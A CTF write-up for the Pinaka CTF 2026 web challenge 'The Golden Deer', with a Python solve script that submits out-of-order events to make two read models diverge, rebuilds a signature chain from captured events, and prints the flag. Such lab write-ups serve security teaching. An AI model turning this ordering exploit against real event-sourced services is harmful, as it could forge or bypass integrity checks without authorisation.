The Golden Deer

By Team Cryptonite · 2 min read

About the CTF: Pinaka CTF

A golden deer flickers at the edge of the forest, too perfect to be real. Chase it through Ravana's web and you will find the illusion was a lure all along. Catch what was never meant to be caught.

The Golden Deer

**Pinaka CTF 2026** · Web · Team Cryptonite · All 44 Pinaka write-ups


>A golden deer flickers at the edge of the forest, too perfect to be real. Chase it through Ravana's web and you will find the illusion was a lure all along. Catch what was never meant to be caught. Connection: https://pinaka-golden-deer.onrender.com/ (log in with ranger / jatayu-watch; client ./mayanet-cli)

Solve:

- /api/login -> authenticate and get an X-Session token

- /api/update -> submit telemetry events

- /api/projection -> read model ordered by (ts, retry)

- /api/authoritative -> read model ordered by seq

- /api/proof -> returns a proof_token only when the two read models diverge

- /api/events/raw -> paginated raw event dump

- /api/validate -> submit {prooftoken, deerid, sequence}

The Golden Deer: step screenshot


trail = [[e["x"], e["y"]] for e in chain]

	update seq=1 ts=1700000000001 x=10 y=20
	update seq=0 ts=1700000000002 x=99 y=99

import json, collections, urllib.request

BASE = "https://pinaka-golden-deer.onrender.com"

def call(path, token=None, body=None):
	data = json.dumps(body).encode() 
	req = urllib.request.Request(BASE + path, data=data, method="POST")
	req.add_header("Content-Type", "application/json")
	if token:
		req.add_header("X-Session", token)
	with urllib.request.urlopen(req) as r:
		return json.loads(r.read())

tok = call("/api/login", body={"username": "ranger", "password": "jatayu-watch"})["token"]

call("/api/update", tok, {"seq": 1, "ts": 1700000000001, "retry": 0, "x": 10, "y": 20})
call("/api/update", tok, {"seq": 0, "ts": 1700000000002, "retry": 0, "x": 99, "y": 99})
proof = call("/api/proof", tok)["proof_token"]

events = collections.defaultdict(list)
for line in open("capture-24h.jsonl"):
	if line.strip():
		e = json.loads(line)
		events[e["deer_id"]].append(e)

chain = None
for deer, evs in events.items():
	genesis = [e for e in evs if e["prev_sig"] == "0" * 64]
	if not genesis:
		continue
	by_prev = collections.defaultdict(list)
	for e in evs:
		by_prev[e["prev_sig"]].append(e)

	cur, seen, walk = genesis[0]["sig"], {genesis[0]["sig"]}, [genesis[0]]
	while True:
		nxt = [e for e in by_prev.get(cur, []) if e["sig"] not in seen]
		if not nxt:
			break
		e = nxt[0]; walk.append(e); seen.add(e["sig"]); cur = e["sig"]

	if len(walk) > 1:
		chain = walk
		print(f"[+] {deer}: real chain length {len(walk)}")

trail = [[e["x"], e["y"]] for e in chain]
print("[+] trail events:", len(trail), trail[:3], "...", trail[-3:])

print(call("/api/validate", tok, {
	"proof_token": proof,
	"deer_id": "deer-d51269dc11cc",
	"sequence": trail,
}))

The Golden Deer: step screenshot

Flag:

PINAKA{m4richaillus10nc0llaps3swh3ny0uf0ll0wth3_cha1n}

Read this post on CyberHx →